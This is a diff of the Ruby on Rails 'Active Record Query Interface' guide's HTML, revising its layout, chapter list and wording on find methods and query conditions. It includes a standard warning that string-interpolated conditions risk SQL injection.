- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
- <style type="text/css">
- div#container {
- max-width: 900px;
- padding-bottom: 3em;
-}
-
-div#content {
- margin-left: 200px;
-}
-
-div#container.notoc {
- max-width: 600px;
-}
-
-.notoc div#content {
- margin-left: 0;
-}
-
-pre {
- line-height: 1.4em;
-}
-
-#content p tt {
- background: #eeeeee;
- border: solid 1px #cccccc;
- padding: 3px;
-}
-
-dt {
- font-weight: bold;
-}
-
-#content dt tt {
- font-size: 10pt;
-}
-
-dd {
- margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
- background: none;
- padding: 0;
- border: 0;
-}
-
-#content .olist ol {
- margin-left: 2em;
-}
-
-#header {
- position: relative;
- max-width: 840px;
- margin-left: auto;
- margin-right: auto;
-}
-
-#header.notoc {
- max-width: 580px;
-}
-
-#logo {
- position: absolute;
- left: 10px;
- top: 10px;
- width: 110px;
- height: 140px;
-}
-
-div#header h1#site_title {
- background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
- position: absolute;
- width: 392px;
- height: 55px;
- left: 145px;
- top: 20px;
- margin: 0;
- padding: 0;
-}
-
-#site_title span {
- display: none;
-}
-
-#site_title_tagline {
- display: none;
-}
-
-ul#navMain {
- position: absolute;
- margin: 0;
- padding: 0;
- top: 97px;
- left: 145px;
-}
-
-.left-floaty, .right-floaty {
- padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
- margin-left: 1em;
- margin-right: 1em;
- margin-top: 0.25em;
- margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
- padding-right: 8px;
-}
-
-.admonitionblock .content {
- border: solid 1px #ffda78;
- background: #fffebd;
- padding: 10px;
- padding-top: 8px;
- padding-bottom: 8px;
-}
-
-.admonitionblock .title {
- font-size: 140%;
- margin-bottom: 0.5em;
-}
-
-.tableblock table {
- border: solid 1px #aaaaff;
- background: #f0f0ff;
-}
-
-.tableblock th {
- background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
- padding: 3px;
- padding-left: 5px;
- padding-right: 5px;
-}
-
-.sidebarblock {
- margin-top: 0.25em;
- margin: 1em;
- border: solid 1px #ccccbb;
- padding: 8px;
- background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
- font-size: 140%;
- font-weight: 600;
- margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
- margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
- text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
- text-decoration: underline;
-}
-
- </style>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <title>Active Record Query Interface</title>
+ <!--[if lt IE 8]>
+ <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+ <![endif]-->
+ <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
</head>
<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_the_sample_models">The Sample Models</a>
- </li>
- <li>
- <a href="#_database_agnostic">Database Agnostic</a>
- </li>
- <li>
- <a href="#_ids_first_last_and_all">IDs, First, Last and All</a>
- </li>
- <li>
- <a href="#_conditions">Conditions</a>
- <ul>
-
- <li><a href="#_pure_string_conditions">Pure String Conditions</a></li>
-
- <li><a href="#_array_conditions">Array Conditions</a></li>
-
- <li><a href="#_placeholder_conditions">Placeholder Conditions</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_ordering">Ordering</a>
- </li>
- <li>
- <a href="#_selecting_certain_fields">Selecting Certain Fields</a>
- </li>
- <li>
- <a href="#_limit_amp_offset">Limit &amp; Offset</a>
- </li>
- <li>
- <a href="#_group">Group</a>
- </li>
- <li>
- <a href="#_read_only">Read Only</a>
- </li>
- <li>
- <a href="#_lock">Lock</a>
- </li>
- <li>
- <a href="#_making_it_all_work_together">Making It All Work Together</a>
- </li>
- <li>
- <a href="#_eager_loading">Eager Loading</a>
- </li>
- <li>
- <a href="#_dynamic_finders">Dynamic finders</a>
- </li>
- <li>
- <a href="#_finding_by_sql">Finding By SQL</a>
- </li>
- <li>
- <a href="#_tt_select_all_tt"><tt>select_all</tt></a>
- </li>
- <li>
- <a href="#_working_with_associations">Working with Associations</a>
- </li>
- <li>
- <a href="#_named_scopes">Named Scopes</a>
- <ul>
-
- <li><a href="#_simple_named_scopes">Simple Named Scopes</a></li>
-
- <li><a href="#_combining_named_scopes">Combining Named Scopes</a></li>
-
- <li><a href="#_runtime_evaluation_of_named_scope_conditions">Runtime Evaluation of Named Scope Conditions</a></li>
-
- <li><a href="#_named_scopes_with_multiple_models">Named Scopes with Multiple Models</a></li>
-
- <li><a href="#_arguments_to_named_scopes">Arguments to Named Scopes</a></li>
-
- <li><a href="#_anonymous_scopes">Anonymous Scopes</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_existence_of_objects">Existence of Objects</a>
- </li>
- <li>
- <a href="#_calculations">Calculations</a>
- <ul>
-
- <li><a href="#_count">Count</a></li>
-
- <li><a href="#_average">Average</a></li>
-
- <li><a href="#_minimum">Minimum</a></li>
-
- <li><a href="#_maximum">Maximum</a></li>
-
- <li><a href="#_sum">Sum</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_credits">Credits</a>
- </li>
- <li>
- <a href="#_changelog">Changelog</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>Rails Finders</h1>
- <div id="preamble">
+ <div id="header" >
+ <div id="logo">
+ <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+ </div>
+
+ <h1 id="site_title"><span>Ruby on Rails</span></h1>
+ <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+ <ul id="navMain">
+ <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+ <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+ </ul>
+ </div>
+
+ <div id="container">
+
+ <div id="sidebar">
+ <h2>Chapters</h2>
+ <ol>
+ <li>
+ <a href="#_retrieving_objects">Retrieving objects</a>
+ </li>
+ <li>
+ <a href="#_conditions">Conditions</a>
+ <ul>
+
+ <li><a href="#_pure_string_conditions">Pure String Conditions</a></li>
+
+ <li><a href="#_array_conditions">Array Conditions</a></li>
+
+ <li><a href="#_placeholder_conditions">Placeholder Conditions</a></li>
+
+ <li><a href="#_hash_conditions">Hash Conditions</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_ordering">Ordering</a>
+ </li>
+ <li>
+ <a href="#_selecting_certain_fields">Selecting Certain Fields</a>
+ </li>
+ <li>
+ <a href="#_limit_amp_offset">Limit &amp; Offset</a>
+ </li>
+ <li>
+ <a href="#_group">Group</a>
+ </li>
+ <li>
+ <a href="#_having">Having</a>
+ </li>
+ <li>
+ <a href="#_read_only">Read Only</a>
+ </li>
+ <li>
+ <a href="#_lock">Lock</a>
+ </li>
+ <li>
+ <a href="#_making_it_all_work_together">Making It All Work Together</a>
+ </li>
+ <li>
+ <a href="#_eager_loading">Eager Loading</a>
+ </li>
+ <li>
+ <a href="#_dynamic_finders">Dynamic finders</a>
+ </li>
+ <li>
+ <a href="#_finding_by_sql">Finding By SQL</a>
+ </li>
+ <li>
+ <a href="#_tt_select_all_tt"><tt>select_all</tt></a>
+ </li>
+ <li>
+ <a href="#_working_with_associations">Working with Associations</a>
+ </li>
+ <li>
+ <a href="#_named_scopes">Named Scopes</a>
+ <ul>
+
+ <li><a href="#_simple_named_scopes">Simple Named Scopes</a></li>
+
+ <li><a href="#_combining_named_scopes">Combining Named Scopes</a></li>
+
+ <li><a href="#_runtime_evaluation_of_named_scope_conditions">Runtime Evaluation of Named Scope Conditions</a></li>
+
+ <li><a href="#_named_scopes_with_multiple_models">Named Scopes with Multiple Models</a></li>
+
+ <li><a href="#_arguments_to_named_scopes">Arguments to Named Scopes</a></li>
+
+ <li><a href="#_anonymous_scopes">Anonymous Scopes</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_existence_of_objects">Existence of Objects</a>
+ </li>
+ <li>
+ <a href="#_calculations">Calculations</a>
+ <ul>
+
+ <li><a href="#_count">Count</a></li>
+
+ <li><a href="#_average">Average</a></li>
+
+ <li><a href="#_minimum">Minimum</a></li>
+
+ <li><a href="#_maximum">Maximum</a></li>
+
+ <li><a href="#_sum">Sum</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_changelog">Changelog</a>
+ </li>
+ </ol>
+ </div>
+
+ <div id="content">
+ <h1>Active Record Query Interface</h1>
+ <div id="preamble">
<div class="sectionbody">
-<div class="para"><p>This guide covers the <tt>find</tt> method defined in <tt>ActiveRecord::Base</tt>, as well as other ways of finding particular instances of your models. By using this guide, you will be able to:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>This guide covers different ways to retrieve data from the database using Active Record. By referring to this guide, you will be able to:</p></div>
+<div class="ulist"><ul>
<li>
<p>
Find records using a variety of methods and conditions
@@ -319,12 +147,12 @@ Specify the order, retrieved attributes, grouping, and other properties of the f
</li>
<li>
<p>
-Use eager loading to cut down on the number of database queries in your application
+Use eager loading to reduce the number of database queries needed for data retrieval
</p>
</li>
<li>
<p>
-Use dynamic finders
+Use dynamic finders methods
</p>
</li>
<li>
@@ -339,17 +167,12 @@ Check for the existence of particular records
</li>
<li>
<p>
-Perform aggregate calculations on Active Record models
+Perform various calculations on Active Record models
</p>
</li>
</ul></div>
-<div class="para"><p>If you're used to using raw SQL to find database records, you'll find that there are generally better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.</p></div>
-<div class="para"><p>The SQL in your log may have some quoting, and that quoting depends on the backend (MySQL, for example, puts backticks around field and table names). Attempting to copy the raw SQL contained within this guide may not work in your database system. Please consult the database systems manual before attempting to execute any SQL.</p></div>
-</div>
-</div>
-<h2 id="_the_sample_models">1. The Sample Models</h2>
-<div class="sectionbody">
-<div class="para"><p>This guide demonstrates finding using the following models:</p></div>
+<div class="paragraph"><p>If you&#8217;re used to using raw SQL to find database records then, generally, you will find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.</p></div>
+<div class="paragraph"><p>Code examples throughout this guide will refer to one or more of the following models:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -360,38 +183,53 @@ http://www.gnu.org/software/src-highlite -->
has_one <span style="color: #990000">:</span>mailing_address
has_many <span style="color: #990000">:</span>orders
has_and_belongs_to_many <span style="color: #990000">:</span>roles
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Address <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Address <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
belongs_to <span style="color: #990000">:</span>client
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> MailingAddress <span style="color: #990000">&lt;</span> Address
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> MailingAddress <span style="color: #990000">&lt;</span> Address
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
belongs_to <span style="color: #990000">:</span>client<span style="color: #990000">,</span> <span style="color: #990000">:</span>counter_cache <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Role <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Role <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_and_belongs_to_many <span style="color: #990000">:</span>clients
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="paragraph"><p>Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you&#8217;re using, the Active Record method format will always be the same.</p></div>
+</div></div>
</div>
-<h2 id="_database_agnostic">2. Database Agnostic</h2>
-<div class="sectionbody">
-<div class="para"><p>Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same.</p></div>
</div>
-<h2 id="_ids_first_last_and_all">3. IDs, First, Last and All</h2>
+<h2 id="_retrieving_objects">1. Retrieving objects</h2>
<div class="sectionbody">
-<div class="para"><p><tt>ActiveRecord::Base</tt> has methods defined on it to make interacting with your database and the tables within it much, much easier. For finding records, the key method is <tt>find</tt>. This method allows you to pass arguments into it to perform certain queries on your database without the need of SQL. If you wanted to find the record with the id of 1, you could type <tt>Client.find(1)</tt> which would execute this query on your database:</p></div>
+<div class="paragraph"><p>To retrieve objects from the database, Active Record provides a primary method called <tt>find</tt>. This method allows you to pass arguments into it to perform certain queries on your database without the need of SQL. If you wanted to find the record with the id of 1, you could type <tt>Client.find(1)</tt> which would execute this query on your database:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>clients<span style="color: #990000">.</span>id <span style="color: #990000">=</span> <span style="color: #993399">1</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>clients<span style="color: #990000">.</span>id <span style="color: #990000">=</span> <span style="color: #993399">1</span><span style="color: #990000">)</span></tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -400,14 +238,13 @@ http://www.gnu.org/software/src-highlite -->
<td class="content">Because this is a standard table created from a migration in Rails, the primary key is defaulted to <em>id</em>. If you have specified a different primary key in your migrations, this is what Rails will find on when you call the find method, not the id column.</td>
</tr></table>
</div>
-<div class="para"><p>If you wanted to find clients with id 1 or 2, you call <tt>Client.find([1,2])</tt> or <tt>Client.find(1,2)</tt> and then this will be executed as:</p></div>
+<div class="paragraph"><p>If you wanted to find clients with id 1 or 2, you call <tt>Client.find([1,2])</tt> or <tt>Client.find(1,2)</tt> and then this will be executed as:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>clients<span style="color: #990000">.</span>id <span style="font-weight: bold"><span style="color: #0000FF">IN</span></span> <span style="color: #990000">(</span><span style="color: #993399">1</span><span style="color: #990000">,</span><span style="color: #993399">2</span><span style="color: #990000">))</span>
-</tt></pre></div></div>
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>clients<span style="color: #990000">.</span>id <span style="font-weight: bold"><span style="color: #0000FF">IN</span></span> <span style="color: #990000">(</span><span style="color: #993399">1</span><span style="color: #990000">,</span><span style="color: #993399">2</span><span style="color: #990000">))</span></tt></pre></div></div>
<div class="listingblock">
<div class="content">
<pre><tt>&gt;&gt; Client.find(1,2)
@@ -416,46 +253,44 @@ http://www.gnu.org/software/src-highlite -->
#&lt;Client id: 2, name: =&gt; "Michael", locked: false, orders_count: 3,
created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40"&gt;]</tt></pre>
</div></div>
-<div class="para"><p>Note that if you pass in a list of numbers that the result will be returned as an array, not as a single <tt>Client</tt> object.</p></div>
+<div class="paragraph"><p>Note that if you pass in a list of numbers that the result will be returned as an array, not as a single Client object.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/note.png" alt="Note" />
</td>
-<td class="content">If <tt>find(id)</tt> or <tt>find([id1, id2])</tt> fails to find any records, it will raise a <tt>RecordNotFound</tt> exception.</td>
+<td class="content">If <tt>find(id)</tt> or <tt>find([id1, id2])</tt> fails to find any records, it will raise a RecordNotFound exception.</td>
</tr></table>
</div>
-<div class="para"><p>If you wanted to find the first Client object you would simply type <tt>Client.first</tt> and that would find the first client in your clients table:</p></div>
+<div class="paragraph"><p>If you wanted to find the first Client object you would simply type <tt>Client.first</tt> and that would find the first client in your clients table:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>&gt;&gt; Client.first
=&gt; #&lt;Client id: 1, name: =&gt; "Ryan", locked: false, orders_count: 2,
created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50"&gt;</tt></pre>
</div></div>
-<div class="para"><p>If you were reading your log file (the default is log/development.log) you may see something like this:</p></div>
+<div class="paragraph"><p>If you were reading your log file (the default is log/development.log) you may see something like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">1</span>
-</tt></pre></div></div>
-<div class="para"><p>Indicating the query that Rails has performed on your database.</p></div>
-<div class="para"><p>To find the last Client object you would simply type <tt>Client.last</tt> and that would find the last client created in your clients table:</p></div>
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">1</span></tt></pre></div></div>
+<div class="paragraph"><p>Indicating the query that Rails has performed on your database.</p></div>
+<div class="paragraph"><p>To find the last Client object you would simply type <tt>Client.last</tt> and that would find the last client created in your clients table:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>&gt;&gt; Client.last
=&gt; #&lt;Client id: 2, name: =&gt; "Michael", locked: false, orders_count: 3,
created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40"&gt;</tt></pre>
</div></div>
-<div class="para"><p>If you were reading your log file (the default is log/development.log) you may see something like this:</p></div>
+<div class="paragraph"><p>If you were reading your log file (the default is log/development.log) you may see something like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">ORDER</span></span> <span style="font-weight: bold"><span style="color: #0000FF">BY</span></span> id <span style="font-weight: bold"><span style="color: #0000FF">DESC</span></span> <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">1</span>
-</tt></pre></div></div>
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">ORDER</span></span> <span style="font-weight: bold"><span style="color: #0000FF">BY</span></span> id <span style="font-weight: bold"><span style="color: #0000FF">DESC</span></span> <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">1</span></tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -469,9 +304,8 @@ http://www.gnu.org/software/src-highlite -->
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">ORDER</span></span> <span style="font-weight: bold"><span style="color: #0000FF">BY</span></span> clients<span style="color: #990000">.</span>id <span style="font-weight: bold"><span style="color: #0000FF">DESC</span></span> <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">1</span>
-</tt></pre></div></div>
-<div class="para"><p>To find all the Client objects you would simply type <tt>Client.all</tt> and that would find all the clients in your clients table:</p></div>
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">ORDER</span></span> <span style="font-weight: bold"><span style="color: #0000FF">BY</span></span> clients<span style="color: #990000">.</span>id <span style="font-weight: bold"><span style="color: #0000FF">DESC</span></span> <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">1</span></tt></pre></div></div>
+<div class="paragraph"><p>To find all the Client objects you would simply type <tt>Client.all</tt> and that would find all the clients in your clients table:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>&gt;&gt; Client.all
@@ -480,41 +314,39 @@ http://www.gnu.org/software/src-highlite -->
#&lt;Client id: 2, name: =&gt; "Michael", locked: false, orders_count: 3,
created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40"&gt;]</tt></pre>
</div></div>
-<div class="para"><p>You may see in Rails code that there are calls to methods such as <tt>Client.find(:all)</tt>, <tt>Client.find(:first)</tt> and <tt>Client.find(:last)</tt>. These methods are just alternatives to <tt>Client.all</tt>, <tt>Client.first</tt> and <tt>Client.last</tt> respectively.</p></div>
-<div class="para"><p>Be aware that <tt>Client.first</tt>/<tt>Client.find(:first)</tt> and <tt>Client.last</tt>/<tt>Client.find(:last)</tt> will both return a single object, where as <tt>Client.all</tt>/<tt>Client.find(:all)</tt> will return an array of Client objects, just as passing in an array of ids to <tt>find</tt> will do also.</p></div>
+<div class="paragraph"><p>You may see in Rails code that there are calls to methods such as <tt>Client.find(:all)</tt>, <tt>Client.find(:first)</tt> and <tt>Client.find(:last)</tt>. These methods are just alternatives to <tt>Client.all</tt>, <tt>Client.first</tt> and <tt>Client.last</tt> respectively.</p></div>
+<div class="paragraph"><p>Be aware that <tt>Client.first</tt>/<tt>Client.find(:first)</tt> and <tt>Client.last</tt>/<tt>Client.find(:last)</tt> will both return a single object, where as <tt>Client.all</tt>/<tt>Client.find(:all)</tt> will return an array of Client objects, just as passing in an array of ids to <tt>find</tt> will do also.</p></div>
</div>
-<h2 id="_conditions">4. Conditions</h2>
+<h2 id="_conditions">2. Conditions</h2>
<div class="sectionbody">
-<div class="para"><p>The <tt>find</tt> method allows you to specify conditions to limit the records returned. You can specify conditions as a string, array, or hash.</p></div>
-<h3 id="_pure_string_conditions">4.1. Pure String Conditions</h3>
-<div class="para"><p>If you'd like to add conditions to your find, you could just specify them in there, just like <tt>Client.first(:conditions &#8658; "orders_count = <em>2</em>")</tt>. This will find all clients where the <tt>orders_count</tt> field's value is 2.</p></div>
+<div class="paragraph"><p>The <tt>find</tt> method allows you to specify conditions to limit the records returned. You can specify conditions as a string, array, or hash.</p></div>
+<h3 id="_pure_string_conditions">2.1. Pure String Conditions</h3>
+<div class="paragraph"><p>If you&#8217;d like to add conditions to your find, you could just specify them in there, just like <tt>Client.first(:conditions =&gt; "orders_count = <em>2</em>")</tt>. This will find all clients where the <tt>orders_count</tt> field&#8217;s value is 2.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/warning.png" alt="Warning" />
</td>
-<td class="content">Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, <tt>Client.first(:conditions &#8658; "name LIKE <em>%#{params[:name]}%</em>")</tt> is not safe. See the next section for the preferred way to handle conditions using an array.</td>
+<td class="content">Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, <tt>Client.first(:conditions =&gt; "name LIKE <em>%#{params[:name]}%</em>")</tt> is not safe. See the next section for the preferred way to handle conditions using an array.</td>
</tr></table>
</div>
-<h3 id="_array_conditions">4.2. Array Conditions</h3>
-<div class="para"><p>Now what if that number could vary, say as a parameter from somewhere, or perhaps from the user's level status somewhere? The find then becomes something like <tt>Client.first(:conditions &#8658; ["orders_count = ?", params[:orders]])</tt>. Active Record will go through the first element in the conditions value and any additional elements will replace the question marks (?) in the first element. If you want to specify two conditions, you can do it like <tt>Client.first(:conditions &#8658; ["orders_count = ? AND locked = ?", params[:orders], false])</tt>. In this example, the first question mark will be replaced with the value in <tt>params[:orders]</tt> and the second will be replaced with <tt>false</tt> and this will find the first record in the table that has <em>2</em> as its value for the <tt>orders_count</tt> field and <tt>false</tt> for its locked field.</p></div>
-<div class="para"><p>The reason for doing code like:</p></div>
+<h3 id="_array_conditions">2.2. Array Conditions</h3>
+<div class="paragraph"><p>Now what if that number could vary, say as a argument from somewhere, or perhaps from the user&#8217;s level status somewhere? The find then becomes something like <tt>Client.first(:conditions =&gt; ["orders_count = ?", params[:orders]])</tt>. Active Record will go through the first element in the conditions value and any additional elements will replace the question marks (?) in the first element. If you want to specify two conditions, you can do it like <tt>Client.first(:conditions =&gt; ["orders_count = ? AND locked = ?", params[:orders], false])</tt>. In this example, the first question mark will be replaced with the value in <tt>params[:orders]</tt> and the second will be replaced with the SQL representation of <tt>false</tt>, which depends on the adapter.</p></div>
+<div class="paragraph"><p>The reason for doing code like:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>first<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"orders_count = ?"</span><span style="color: #990000">,</span> params<span style="color: #990000">[:</span>orders<span style="color: #990000">]])</span>
-</tt></pre></div></div>
-<div class="para"><p>instead of:</p></div>
+<pre><tt>Client<span style="color: #990000">.</span>first<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"orders_count = ?"</span><span style="color: #990000">,</span> params<span style="color: #990000">[:</span>orders<span style="color: #990000">]])</span></tt></pre></div></div>
+<div class="paragraph"><p>instead of:</p></div>
<div class="listingblock">
